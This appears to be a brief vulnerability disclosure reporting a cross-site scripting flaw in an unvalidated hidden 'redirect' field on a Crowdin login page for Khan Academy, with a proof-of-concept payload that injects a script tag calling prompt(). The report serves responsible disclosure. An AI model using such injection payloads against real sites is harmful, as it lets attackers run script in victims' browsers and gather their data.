Unchecking hidden parameter is vulnerable to XSS-attack

How it was found

Unchecking parameter <input type="hidden" name="redirect">

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them.

http://crowdin.khanacademy.org:/login

PoC <input type="hidden" name="redirect" value="/project_actions/load_discussions/"><script>prompt(986874)</script>"/>